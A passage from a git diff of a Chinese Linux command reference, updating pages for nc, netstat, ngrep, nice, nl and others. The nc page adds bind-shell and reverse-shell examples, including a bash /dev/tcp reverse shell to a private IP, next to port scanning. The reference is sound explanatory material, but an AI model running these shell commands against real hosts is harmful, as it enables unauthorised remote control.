[-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>] [-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...] ``` -### 选项 +### 选项 -``` --g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。 --G<指向器数目> 设置来源路由指向器,其数值为4的倍数。 +```shell +-4 只使用IPV4 +-6 只使用IPV6 +-c 使用tls连接或者监听 +-D 启用socket调试开关 +-g <网关> # 设置路由器跃程通信网关,最多可设置8个。 +-G<指向器数目> # 设置来源路由指向器,其数值为4的倍数。 -h 在线帮助。 -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。 -l 使用监听模式,管控传入的资料。 -n 直接使用IP地址,而不通过域名服务器。 --o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。 --p<通信端口> 设置本地主机使用的通信端口。 +-o<输出文件> # 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。 +-p<通信端口> # 设置本地主机使用的通信端口。 -r 乱数指定本地与远端主机的通信端口。 --s<来源位址> 设置本地主机送出数据包的IP地址。 +-s<来源位址> # 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 显示指令执行过程。 --w<超时秒数> 设置等待连线的时间。 +-w<超时秒数> # 设置等待连线的时间。 -z 使用0输入/输出模式,只在扫描通信端口时使用。 ``` ### 实例 -TCP端口扫描 +**TCP端口扫描** -``` +```shell [root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100 192.168.0.3: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.0.3] 80 (http) open @@ -46,18 +51,73 @@ TCP端口扫描 ``` 扫描192.168.0.3 的端口 范围是 1-100 -扫描UDP端口 +**扫描UDP端口** -``` -[root@localhost ~]# nc -u -z -w2 192.168.0.1 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000 +```shell +[root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000 ``` -扫描指定端口 +**扫描指定端口** -``` +```shell [root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口 (UNKNOWN) [192.168.0.1] 80 (?) open y //用户输入 ``` - +查看从服务器到目的地的出站端口 443 是否被防火墙阻止 + +```shell +nc -vz acme-v02.api.letsencrypt.org 443 -w2 +# Ncat: Version 7.50 ( https://nmap.org/ncat ) +# Ncat: Connected to 23.77.214.183:443. +# Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds. +``` +**文件传输** + +```shell +# 接收方提前设置监听端口与要接收的文件名(文件名可自定义): +nc -lp 8888 > node.tar.gz + +# 传输方发文件: +nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz +# ⚠️ 注意:192.168.75.121是接收方的ip地址。 +``` + +```shell +# 如果希望文件传输结束后自动退出,可以使用下面的命令: +nc -lp 8888 > node.tar.gz +nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz +# ⚠️ 注意:-i 表示闲置超时时间 +``` + +**远程控制** + +```shell +# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。 +# 被控制端执行下面的命令: +nc -lvnp 8888 -c bash +# 控制端执行下面的命令: +nc 192.168.75.121 8888 +``` + +```shell +# 反向控制,控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境。 +# 控制端执行下面的命令: +nc -lvnp 8888 +# 被控制端执行下面的命令: +nc 192.168.75.121 8888 -c bash +``` + +**反弹shell** + +```shell +# 控制端执行下面的命令: +nc -lvnp 8888 +``` + +``` +# 被控端执行下面的命令: +bash -i &> /dev/tcp/192.168.75.121/8888 0>&1 +``` + diff --git a/command/ncftp.md b/command/ncftp.md index 95022d5a59a..c4e5e70f78b 100644 --- a/command/ncftp.md +++ b/command/ncftp.md @@ -1,21 +1,21 @@ ncftp === - + 是增强的的FTP工具 ## 补充说明 **ncftp命令** 是增强的的ftp工具,比传统的FTP指令更加强大。FTP让用户得以下载存放于服务器主机的文件,也能将文件上传到远端主机放置。ncftp是文字模式FTP程序的佼佼者,它具备多样特色,包括显示传输速率,下载进度,自动续传,标住书签,可通过防火墙和代理服务器等。 -### 语法 +### 语法 -``` +```shell ncftp(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -u:指定登录FTP服务器时使用的用户名; -p:指定登录FTP服务器时使用的密码; -P:如果FTP服务器没有使用默认的TCP协议的21端口,则使用此选项指定FTP服务器的端口号。 @@ -23,13 +23,13 @@ ncftp(选项)(参数) -R:递规传子目录 ``` -### 参数 +### 参数 FTP服务器:指定远程FTP服务器的ip地址或主机名。 -### 安装 +### 安装 -``` +```shell wget ftp://ftp.ncftp.com/ncftp/ncftp-3.2.3-src.tar.gz tar zxvf ncftp-3.2.3-src.tar.gz cd ncftp-3.2.3/ @@ -37,11 +37,11 @@ cd ncftp-3.2.3/ make && make install ``` -### 实例 +### 实例 将本地/etc/目录内的所有文件和目录,上传到FTP服务器的flv/games/目录内(如果不存在flv/games/目录则自动创建)。 -``` +```shell /usr/local/ncftp/bin/ncftpput -u koumm -p koumm -P 21 -m -R 192.168.162.137 flv/games/ /etc/* ``` @@ -61,4 +61,3 @@ ncftp的基本命令和普通ftp一样,可以输入help获得命令列表。 * lrmdir: 删除本地目录。 - \ No newline at end of file diff --git a/command/neofetch.md b/command/neofetch.md new file mode 100644 index 00000000000..50400a188a2 --- /dev/null +++ b/command/neofetch.md @@ -0,0 +1,87 @@ +neofetch +=== + +显示带有发行徽标的系统信息的工具 + +## 补充说明 + +**neofetch** 支持Linux/Unix、Windows、macOS。各发行版均已集成包可直接进行安装 + +Neofetch是一个在终端上显示带有发行徽标的系统信息工具,neofetch命令将显示有关相应系统的简要信息。 +显示的信息包括: 型号、操作系统、内核、CPU、GPU、内存、正常运行时间、程序包、shell、分辨率、DE、WM、WM主题、主题、图标和终端等 + +Neofetch是一个开源工具,[项目地址](https://github.com/dylanaraps/neofetch) + +### 安装 + +Debian/Ubuntu + +```shell +sudo apt install neofetch -y +``` + +CentOS + +```shell +sudo yum install neofetch -y +sudo dnf install neofetch -y +``` + +[更多系统安装](https://github.com/dylanaraps/neofetch/wiki/Installation) +### 语法 + +``` +neofetach +``` + +### 返回 + +**回显** + +macOS: +```shell + 'c. mac@Mac-mini.local + ,xNMM. -------------------------- + .OMMMMo OS: macOS 12.4 21F79 arm64 + OMMM0, Host: Macmini9,1 + .;loddo:' loolloddol;. Kernel: 21.5.0 + cKMMMMMMMMMMNWMMMMMMMMMM0: Uptime: 2 hours, 57 mins + .KMMMMMMMMMMMMMMMMMMMMMMMWd. Packages: 20 (brew) + XMMMMMMMMMMMMMMMMMMMMMMMX. Shell: zsh 5.8.1 +;MMMMMMMMMMMMMMMMMMMMMMMM: Resolution: 2560x1440, 1920x1080 +:MMMMMMMMMMMMMMMMMMMMMMMM: DE: Aqua +.MMMMMMMMMMMMMMMMMMMMMMMMX. WM: Quartz Compositor + kMMMMMMMMMMMMMMMMMMMMMMMMWd. WM Theme: Blue (Dark) + .XMMMMMMMMMMMMMMMMMMMMMMMMMMk Terminal: iTerm2 + .XMMMMMMMMMMMMMMMMMMMMMMMMK. Terminal Font: Monaco 12 + kMMMMMMMMMMMMMMMMMMMMMMd CPU: Apple M1 + ;KMMMMMMMWXXWMMMMMMMk. GPU: Apple M1 + .cooc,. .,coo:. Memory: 2251MiB / 16384MiB +``` + +Ubuntu: + +```shell + .-/+oossssoo+/-. root@root + `:+ssssssssssssssssss+:` ------------ + -+ssssssssssssssssssyyssss+- OS: Ubuntu 20.04.4 LTS aarch64 + .ossssssssssssssssssdMMMNysssso. Host: Firefly RK3568-ROC-PC HDMI (Linux) + /ssssssssssshdmmNNmmyNMMMMhssssss/ Kernel: 4.19.193 + +ssssssssshmydMMMMMMMNddddyssssssss+ Uptime: 7 days, 13 hours, 3 mins + /sssssssshNMMMyhhyyyyhmNMMMNhssssssss/ Packages: 1158 (dpkg) +.ssssssssdMMMNhsssssssssshNMMMdssssssss. Shell: bash 5.0.17 ++sssshhhyNMMNyssssssssssssyNMMMysssssss+ Resolution: 1440x900 +ossyNMMMNyMMhsssssssssssssshmmmhssssssso WM: Openbox +ossyNMMMNyMMhsssssssssssssshmmmhssssssso Theme: Arc-Darker [GTK3] ++sssshhhyNMMNyssssssssssssyNMMMysssssss+ Icons: Adwaita [GTK3] +.ssssssssdMMMNhsssssssssshNMMMdssssssss. Terminal: /dev/pts/0 + /sssssssshNMMMyhhyyyyhdNMMMNhssssssss/ CPU: Firefly RK3568-ROC-PC HDMI (Linux) (4) @ 1.992GHz + +sssssssssdmydMMMMMMMMddddyssssssss+ Memory: 617MiB / 7687MiB + /ssssssssssshdmNNNNmyNMMMMhssssss/ + .ossssssssssssssssssdMMMNysssso. + -+sssssssssssssssssyyyssss+- + `:+ssssssssssssssssss+:` + .-/+oossssoo+/-. +``` + + diff --git a/command/nethogs.md b/command/nethogs.md index 9f451d725bf..d1f97ffe52e 100644 --- a/command/nethogs.md +++ b/command/nethogs.md @@ -16,14 +16,14 @@ nethogs 本文为你介绍如何在Unix/Linux操作系统下如何安装和使用NetHogs按进程监控网络带宽使用率。 -### 语法 +### 语法 -``` +```shell nethogs(选项)(参数) ``` -### 选项 +### 选项 -```bash +```shell usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]] -V : 打印版本。 -h : 打印此帮助。 @@ -46,10 +46,10 @@ usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [ 其他参数和用法 -``` +```shell -d : 刷新间隔 -h : 帮助 --p : promiscious 模式 +-p : promiscuous 模式 -t : trace模式 -V : 版本 ``` @@ -69,32 +69,30 @@ usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [ 要安装NetHogs,你必须要启用你所用Linux下的EPEL源。然后运行下面的yum命令下载安装NetHogs包。 -``` -# yum install nethogs +```shell +yum install nethogs ``` **在Ubuntu、Linux mint和Debian下安装NetHogs** 键入apt-get命令安装NetHogs包: -``` +```shell $ sudo apt-get install nethogs ``` -### NetHogs用法 +### NetHogs用法 在基于RedHat系统下键入如下命令启动NetHogs工具。 -``` -# nethogs - +```shell +nethogs ``` 在Debian/Ubuntu/Linux Mint下要执行NetHogs你必须拥有root权限: -``` +```shell $ sudo nethogs - ``` !nethogs @@ -103,40 +101,35 @@ Ubuntu 12.10 下的NetHogs预览 正如上图所示,send列和received列显示的是按照每个进程的流量统计。总的收发数据带宽在最下方,而且可以用交互命令控制排序,下面将要讨论这些交互命令。 -### NetHogs 命令行参数 +### NetHogs 命令行参数 以下就是NetHogs命令行的参数,用-d来添加刷新频率参数,device name 用来检测给定的某个或者某些设备的带宽(默认是eth0)。例如:设置5秒钟的刷新频率,键入如下命令即可: -``` -# nethogs -d 5 - +```shell +nethogs -d 5 ``` -``` +```shell $ sudo nethogs -d 5 - ``` 如果只用来监视设备(eth0)的网络带宽可以使用如下命令: +```shell +nethogs eth0 ``` -# nethogs eth0 -``` - -``` +```shell $ sudo nethogs eth0 - ``` 如果要同时监视eth0和eth1接口,使用以下命令即可: -``` -# nethogs eth0 eth1 - +```shell +nethogs eth0 eth1 ``` -``` +```shell $ sudo nethogs eth0 eth1 ``` @@ -144,4 +137,4 @@ $ sudo nethogs eth0 eth1 关于NetHogs命令行工具的完整参数列表,可以参考NetHogs的手册,使用方法是在终端里输入`man nethogs`或者`sudo man nethogs`,更多信息请参考NetHogs项目主页。 - + diff --git a/command/netstat.md b/command/netstat.md index 408c636a9e7..97bf34ae5c8 100644 --- a/command/netstat.md +++ b/command/netstat.md @@ -7,15 +7,15 @@ netstat **netstat命令** 用来打印Linux中网络系统的状态信息,可让你得知整个Linux系统的网络情况。 -### 语法 +### 语法 -``` +```shell netstat(选项) ``` -### 选项 +### 选项 -``` +```shell -a或--all:显示所有连线中的Socket; -A<网络类型>或--<网络类型>:列出该网络类型连线中的相关地址; -c或--continuous:持续列出网络状态; @@ -42,11 +42,11 @@ netstat(选项) --ip或--inet:此参数的效果和指定"-A inet"参数相同。 ``` -### 实例 +### 实例 **列出所有端口 (包括监听和未监听的)** -``` +```shell netstat -a #列出所有端口 netstat -at #列出所有tcp端口 netstat -au #列出所有udp端口 @@ -54,7 +54,7 @@ netstat -au #列出所有udp端口 **列出所有处于监听状态的 Sockets** -``` +```shell netstat -l #只显示监听端口 netstat -lt #只列出所有监听 tcp 端口 netstat -lu #只列出所有监听 udp 端口 @@ -63,16 +63,16 @@ netstat -lx #只列出所有监听 UNIX 端口 **显示每个协议的统计信息** -``` +```shell netstat -s 显示所有端口的统计信息 netstat -st 显示TCP端口的统计信息 netstat -su 显示UDP端口的统计信息 -``` +​```shell **在netstat输出中显示 PID 和进程名称** -``` +​```shell netstat -pt ``` @@ -82,13 +82,13 @@ netstat -pt 当你不想让主机,端口和用户名显示,使用`netstat -n`。将会使用数字代替那些名称。同样可以加速输出,因为不用进行比对查询。 -``` +```shell netstat -an ``` 如果只是不想让这三个名称中的一个被显示,使用以下命令: -``` +```shell netsat -a --numeric-ports netsat -a --numeric-hosts netsat -a --numeric-users @@ -96,19 +96,19 @@ netsat -a --numeric-users **持续输出netstat信息** -``` +```shell netstat -c #每隔一秒输出网络信息 ``` **显示系统不支持的地址族(Address Families)** -``` +```shell netstat --verbose ``` 在输出的末尾,会有如下的信息: -``` +```shell netstat: no support for `AF IPX' on this system. netstat: no support for `AF AX25' on this system. netstat: no support for `AF X25' on this system. @@ -117,7 +117,7 @@ netstat: no support for `AF NETROM' on this system. **显示核心路由信息** -``` +```shell netstat -r ``` @@ -127,25 +127,25 @@ netstat -r 并不是所有的进程都能找到,没有权限的会不显示,使用 root 权限查看所有的信息。 -``` +```shell netstat -ap | grep ssh ``` 找出运行在指定端口的进程: -``` +```shell netstat -an | grep ':80' ``` **通过端口找进程ID** - + ```bash netstat -anp|grep 8081 | grep LISTEN|awk '{printf $7}'|cut -d/ -f1 ``` **显示网络接口列表** -``` +```shell netstat -i ``` @@ -155,21 +155,58 @@ netstat -i 查看连接某服务端口最多的的IP地址: -``` +```shell netstat -ntu | grep :80 | awk '{print $5}' | cut -d: -f1 | awk '{++ip[$1]} END {for(i in ip) print ip[i],"\t",i}' | sort -nr ``` TCP各种状态列表: -``` +```shell netstat -nt | grep -e 127.0.0.1 -e 0.0.0.0 -e ::: -v | awk '/^tcp/ {++state[$NF]} END {for(i in state) print i,"\t",state[i]}' ``` 查看phpcgi进程数,如果接近预设值,说明不够用,需要增加: -``` +```shell netstat -anpo | grep "php-cgi" | wc -l ``` +## 扩展知识 + +### 网络连接状态详解 + +**共有12中可能的状态**,前面11种是按照TCP连接建立的三次握手和TCP连接断开的四次挥手过程来描述的: + +1. LISTEN:首先服务端需要打开一个socket进行监听,状态为 LISTEN,侦听来自远方TCP端口的连接请求 ; + +2. SYN_SENT:客户端通过应用程序调用connect进行active open,于是客户端tcp发送一个SYN以请求建立一个连接,之后状态置为 SYN_SENT,在发送连接请求后等待匹配的连接请求; + +3. SYN_RECV:服务端应发出ACK确认客户端的 SYN,同时自己向客户端发送一个SYN,之后状态置为,在收到和发送一个连接请求后等待对连接请求的确认; + +4. ESTABLISHED:代表一个打开的连接,双方可以进行或已经在数据交互了, 代表一个打开的连接,数据可以传送给用户; + +5. FIN_WAIT1:主动关闭(active close)端应用程序调用close,于是其TCP发出FIN请求主动关闭连接,之后进入FIN_WAIT1状态, 等待远程TCP的连接中断请求,或先前的连接中断请求的确认; + +6. CLOSE_WAIT:被动关闭(passive close)端TCP接到FIN后,就发出ACK以回应FIN请求(它的接收也作为文件结束符传递给上层应用程序),并进入CLOSE_WAIT, 等待从本地用户发来的连接中断请求; + +7. FIN_WAIT2:主动关闭端接到ACK后,就进入了 FIN-WAIT-2,从远程TCP等待连接中断请求; + +8. LAST_ACK:被动关闭端一段时间后,接收到文件结束符的应用程 序将调用CLOSE关闭连接,这导致它的TCP也发送一个 FIN,等待对方的ACK.就进入了LAST-ACK,等待原来发向远程TCP的连接中断请求的确认; + +9. TIME_WAIT:在主动关闭端接收到FIN后,TCP 就发送ACK包,并进入TIME-WAIT状态,等待足够的时间以确保远程TCP接收到连接中断请求的确认; + +10. CLOSING: 比较少见,等待远程TCP对连接中断的确认; + +11. CLOSED: 被动关闭端在接受到ACK包后,就进入了closed的状态,连接结束,没有任何连接状态; + +12. UNKNOWN:未知的Socket状态; + +**常见标志位** + +* SYN: (同步序列编号,Synchronize Sequence Numbers)该标志仅在三次握手建立TCP连接时有效。表示一个新的TCP连接请求。 + +* ACK: (确认编号,Acknowledgement Number)是对TCP请求的确认标志,同时提示对端系统已经成功接收所有数据。 + +* FIN: (结束标志,FINish)用来结束一个TCP回话.但对应端口仍处于开放状态,准备接收后续数据。 + - diff --git a/command/newusers.md b/command/newusers.md index ebf85565e4d..1208d39cbd5 100644 --- a/command/newusers.md +++ b/command/newusers.md @@ -1,35 +1,35 @@ newusers === - + 用于批处理的方式一次创建多个命令 ## 补充说明 **newusers命令** 用于批处理的方式一次创建多个命令。 -### 语法 +### 语法 -``` +```shell newusers(参数) ``` -### 参数 +### 参数 用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同。 -### 实例 +### 实例 实用newusers命令批量添加用户: 用法很简单,newusers后面直接跟一个文件,文件格式和`/etc/passwd`的格式相同。 -``` +```shell 用户名1:x:UID:GID:用户说明:用户的家目录:所用SHELL ``` 举例: -``` +```shell jingang0:x:520:520::/home/jingang0:/sbin/nologin jingang1:x:521:521::/home/jingang1:/sbin/nologin ...... @@ -37,7 +37,7 @@ jingang1:x:521:521::/home/jingang1:/sbin/nologin 值得一提的是关于SHELL类型,查看主机上所有SHELL,可以通过chsh来查看: -``` +```shell [root@localhost beinan]# chsh --list /bin/sh /bin/bash @@ -53,4 +53,3 @@ jingang1:x:521:521::/home/jingang1:/sbin/nologin 关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档。 - \ No newline at end of file diff --git a/command/nfsstat.md b/command/nfsstat.md index 81d194e5217..f08495ce416 100644 --- a/command/nfsstat.md +++ b/command/nfsstat.md @@ -1,21 +1,21 @@ nfsstat === - + 列出NFS客户端和服务器的工作状态 ## 补充说明 **nfsstat命令** 用于列出NFS客户端和服务器的工作状态。 -### 语法 +### 语法 -``` +```shell nfsstat(选项) ``` -### 选项 +### 选项 -``` +```shell -s:仅列出NFS服务器端状态; -c:仅列出NFS客户端状态; -n:仅列出NFS状态,默认显示nfs客户端和服务器的状态; @@ -26,31 +26,30 @@ nfsstat(选项) -r:仅打印rpc状态。 ``` -### 实例 +### 实例 要显示关于客户机发送和拒绝的RPC和NFS调用数目的信息,输入: -``` +```shell nfsstat -c ``` 要显示和打印与客户机NFS调用相关的信息,输入如下命令: -``` +```shell nfsstat -cn ``` 要显示和打印客户机和服务器的与RPC调用相关的信息,输入如下命令: -``` +```shell nfsstat -r ``` 要显示关于服务器接收和拒绝的RPC和NFS调用数目的信息,输入如下命令: -``` +```shell nfsstat –s ``` - \ No newline at end of file diff --git a/command/ngrep.md b/command/ngrep.md index 493ed530c21..c4ffc77340b 100644 --- a/command/ngrep.md +++ b/command/ngrep.md @@ -1,19 +1,19 @@ ngrep === - + 方便的数据包匹配和显示工具 ## 补充说明 **ngrep命令** 是grep命令的网络版,他力求更多的grep特征,用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库, 所以支持大量的操作系统和网络协议。能识别TCP、UDP和ICMP包,理解bpf的过滤机制。 -### 安装 +### 安装 ngrep命令的下载地址:http://ngrep.sourceforge.net/,libpcap下载地址:http://www.tcpdump.org/。先用`yum install libpcap`完全安装libpcap,注意有时候用libpcap安装包安装的不完整会影响ngrep的使用。 如果yum无法安装就用以下步骤安装libpcap: -``` +```shell wget http://www.tcpdump.org/release/libpcap-1.3.0.tar.gz tar -zxf libpcap-1.3.0.tar.gz cd libpcap-1.3.0 @@ -25,74 +25,74 @@ ngrep的安装就是 configure/make/make install 三部曲。 注:configure时是遇到 please wipe out all unused pcap installations,添加以下选项: -``` +```shell ./configure --with-pcap-includes=/usr/local/include/pcap ``` 在安装后输入ngrep来验证下安装是否成功。 -### 语法 +### 语法 -``` +```shell ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num> <-s snaplen> <-S limitlen> <-w normal|byline|single|none> <-c cols> <-P char> <-F file> ``` -### 选项 - -``` --e :显示空数据包 --i :忽略大小写 --v :反转匹配 --R :don't do privilege revocation logic --x :以16进制格式显示 --X :以16进制格式匹配 --w :整字匹配 --p :不使用混杂模式 --l :make stdout line buffered --D :replay pcap_dumps with their recorded time intervals --t :在每个匹配的包之前显示时间戳 --T :显示上一个匹配的数据包之间的时间间隔 --M :仅进行单行匹配 --I :从文件中读取数据进行匹配 --O :将匹配的数据保存到文件 --n :仅捕获指定数目的数据包进行查看 --A :匹配到数据包后dump随后的指定数目的数据包 --s :set the bpf caplen --S :set the limitlen on matched packets --W :设置显示格式byline将解析包中的换行符 --c :强制显示列的宽度 --P :set the non-printable display char to what is specified --F :使用文件中定义的bpf(Berkeley Packet Filter) --N :显示由IANA定义的子协议号 --d :使用哪个网卡,可以用-L选项查询 --L :查询网卡接口 -``` - -### 实例 +### 选项 + +```shell +-e # 显示空数据包 +-i # 忽略大小写 +-v # 反转匹配 +-R # don't do privilege revocation logic +-x # 以16进制格式显示 +-X # 以16进制格式匹配 +-w # 整字匹配 +-p # 不使用混杂模式 +-l # make stdout line buffered +-D # replay pcap_dumps with their recorded time intervals +-t # 在每个匹配的包之前显示时间戳 +-T # 显示上一个匹配的数据包之间的时间间隔 +-M # 仅进行单行匹配 +-I # 从文件中读取数据进行匹配 +-O # 将匹配的数据保存到文件 +-n # 仅捕获指定数目的数据包进行查看 +-A # 匹配到数据包后dump随后的指定数目的数据包 +-s # set the bpf caplen +-S # set the limitlen on matched packets +-W # 设置显示格式byline将解析包中的换行符 +-c # 强制显示列的宽度 +-P # set the non-printable display char to what is specified +-F # 使用文件中定义的bpf(Berkeley Packet Filter) +-N # 显示由IANA定义的子协议号 +-d # 使用哪个网卡,可以用-L选项查询 +-L # 查询网卡接口 +``` + +### 实例 捕捉cloudian:18080端口的request和response,`-W byline`用来解析包中的换行符,否则包里的所有数据都是连续的,可读性差。`-d lo`是监听本地网卡: -``` +```shell ngrep -W byline -d lo port 18080 ``` 捕捉amazon:80端口的request和response。`-d eth0是`用来监听对外的网卡: -``` +```shell ngrep -W byline -d eth0 port 80 ``` 可以用`-d any`来捕捉所有的包: -``` +```shell ngrep '[a-zA-Z]' -t -W byline -d any tcp port 18080 ``` 捕获字符串`.flv`,比如要查看在Web Flash 视频中的.flv文件的下载地址: -``` +```shell ngrep -d3 -N -q \.flv interface: \Device\TNT_40_1_{670F6B50-0A13-4BAB-9D9E-994A833F5BA9} (10.132.0.0/2 55.255.192.0) @@ -101,7 +101,7 @@ match: \.flv 打开一个视频页面: -``` +```shell T(6) 10.132.34.23:24860 -> 61.142.208.154:80 [AP] GET /f59.c31.56.com/flvdownload/12/19/ggyg7741@56.com_56flv_zhajm_119556973 97.flv HTTP/1.1..accept: */*..Referer: http://www.56.com/flashApp/v_player_ @@ -116,7 +116,7 @@ OK。地址已经找到了,就是http://f59.c31.56.com/flvdownload/12/19/ggyg774 加个`-W byline`参数后,将解析包中的换行符: -``` +```shell T(6) 2007/11/25 15:56:12.192619 10.132.34.23:26365 -> 59.151.21.101:80 [AP] GET /aa.flv HTTP/1.1. Accept: */*. @@ -136,4 +136,3 @@ yi7E53UBOcv4V. ``` - \ No newline at end of file diff --git a/command/nice.md b/command/nice.md index b8d715edd71..a5c3640fc35 100644 --- a/command/nice.md +++ b/command/nice.md @@ -1,41 +1,41 @@ nice === - -改变程序执行的优先权等级 + +调整程序执行的优先权等级 ## 补充说明 -**nice命令** 用于以指定的进程调度优先级启动其他的程序。 +**nice命令** 用于调整进程调度优先级启动其他的程序。 -### 语法 -``` -nice(选项)(参数) +### 语法 + +```shell +nice [选项] [命令 [参数]...] ``` -### 选项 +### 选项 -``` --n:指定进程的优先级(整数)。 +```shell +-n:指定nice值(整数,-20(最高)~19(最低))。 ``` -### 参数 +### 参数 指令及选项:需要运行的指令及其他选项。 -### 实例 +### 实例 新建一个进程并设置优先级,将当前目录下的documents目录打包,但不希望tar占用太多CPU: -``` +```shell nice -19 tar zcf pack.tar.gz documents ``` -方法非常简单,即在原命令前加上`nice -19`。很多人可能有疑问了,最低优先级不是19么?那是因为这个“-19”中的“-”仅表示参数前缀;所以,如果希望将当前目录下的documents目录打包,并且赋予tar进程最高的优先级: +方法非常简单,即在原命令前加上`nice -19`。很多人可能有疑问了,最低优先级不是19么?那是因为这个“-19”中的“-”仅表示参数前缀;所以,如果希望将当前目录下的documents目录打包,并且赋予tar进程最高的优先级就应该加上`nice --20`: -``` -nice --19 tar zcf pack.tar.gz documents +```shell +nice --20 tar zcf pack.tar.gz documents ``` - \ No newline at end of file diff --git a/command/nisdomainname.md b/command/nisdomainname.md index 538bac42801..59f23736389 100644 --- a/command/nisdomainname.md +++ b/command/nisdomainname.md @@ -1,23 +1,22 @@ nisdomainname === - + 显示主机NIS的域名 ## 补充说明 **nisdomainname命令** 用于显示主机NIS的域名。 -### 语法 +### 语法 -``` +```shell nisdomainname(选项) ``` -### 选项 +### 选项 -``` +```shell -v:详细信息模式。 ``` - \ No newline at end of file diff --git a/command/nl.md b/command/nl.md index 4f7d82735f6..58fbb0cf50f 100644 --- a/command/nl.md +++ b/command/nl.md @@ -1,94 +1,156 @@ nl === - -在Linux系统中计算文件内容行号 -## 补充说明 +为每一个文件添加行号。 -**nl命令** 读取 file 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。在输出中,nl命令根据您在命令行中指定的标志来计算左边的行。输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。除非使用`-p`选项,nl 命令在每个逻辑页开始的地方重新设置行号。可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。其默认的结果与`cat -n`有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐0等等的功能。 +## 概要 -### 语法 - -``` -nl (选项) (参数) +```shell +nl [OPTION]... [FILE]... ``` -### 选项 +## 主要用途 -``` --b :指定行号指定的方式,主要有两种: - -b a :表示不论是否为空行,也同样列出行号(类似 cat -n); - -b t :如果有空行,空的那一行不要列出行号(默认值); +- 将每一个输入的文件添加行号后发送到标准输出。 +- 当没有文件或文件为`-`时,读取标准输入 +- 处理逻辑页(logical page)。 --n :列出行号表示的方法,主要有三种: - -n ln :行号在萤幕的最左方显示; - -n rn :行号在自己栏位的最右方显示,且不加 0 ; - -n rz :行号在自己栏位的最右方显示,且加 0 ; +## 选项 --w :行号栏位的占用的位数。 --p :在逻辑定界符处不重新开始计算。 -``` +```shell +-b, --body-numbering=STYLE 使用STYLE 为body部分的行附加行号。 +-d, --section-delimiter=CC 使用CC作为logical page的分隔符。 +-f, --footer-numbering=STYLE 使用STYLE 为footer部分的行附加行号。 +-h, --header-numbering=STYLE 使用STYLE 为header部分的行附加行号。 +-i, --line-increment=NUMBER 行号递增间隔为NUMBER。 +-l, --join-blank-lines=NUMBER 连续NUMBER行的空行作为一行处理。 +-n, --number-format=FORMAT 根据FORMAT插入行号。 +-p, --no-renumber 不要在每个部分重置行号。 +-s, --number-separator=STRING 在行号后添加字符串STRING。 +-v, --starting-line-number=NUMBER 每部分的起始行号。 +-w, --number-width=NUMBER 行号宽度为NUMBER。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 -### 实例 - **用 nl 列出 log2015.log 的内容** : +默认选项为:-bt -d'\:' -fn -hn -i1 -l1 -nrn -sTAB -v1 -w6 -``` -root@localhost [test]# nl log2015.log -1 2015-01 -2 2015-02 +CC是由两个字符组成的,默认为\: ,第二个字符如果缺失则默认为: -3 ======[root@localhost test]# -``` +STYLE可以为下列可用值之一: + +a 所有行标记行号。 +t 仅为非空行标记行号。 +n 不标记行号。 +pBRE 符合基础正则表达式(BRE)的行会标记行号。 -说明:文件中的空白行,nl 不会加上行号 +FORMAT可以为下列可用值之一: - **用 nl 列出 log2015.log 的内容,空本行也加上行号** : +ln 左对齐,不会在开始部分补充0以满足宽度。 +rn 右对齐,不会在开始部分补充0以满足宽度。 +rz 右对齐,会在开始部分补充0以满足宽度。 +logical page +三部分组成(header, body, footer) +起始标记(header \:\:\:, body \:\:, footer \:) ``` -[root@localhost test]# nl -b a log2015.log -1 2015-01 -2 2015-02 -3 -4 -5 ======[root@localhost test]# + +## 参数 + +FILE(可选):要处理的文件,可以为一或多个。 + +## 返回值 + +返回0表示成功,返回非0值表示失败。 + +## 例子 + +```shell +nl_logicalpage.txt:该文件用于说明nl命令处理逻辑页,内容如下: +\:\:\: +header_1 +\:\: +body_1 +\: +footer_1 +\:\:\: +header_2 +\:\: +body_2 +\: +footer_2 ``` - **让行号前面自动补上0,统一输出格式:** +```shell +[user2@pc ~]$ nl nl_logicalpage.txt + + header_1 + + 1 body_1 + + footer_1 + + header_2 + + 1 body_2 + footer_2 + +[user2@pc ~]$ nl -v0 -fa -ha nl_logicalpage.txt + + 0 header_1 + + 1 body_1 + + 2 footer_1 + + 0 header_2 + + 1 body_2 + + 2 footer_2 + +[user2@pc ~]$ nl -p -fa -ha nl_logicalpage.txt + + 1 header_1 + + 2 body_1 + + 3 footer_1 + + 4 header_2 + + 5 body_2 + + 6 footer_2 ``` -[root@localhost test]# nl -b a -n rz log2015.log -000001 2015-01 -000002 2015-02 -000003 2015-03 -000004 2015-04 -000005 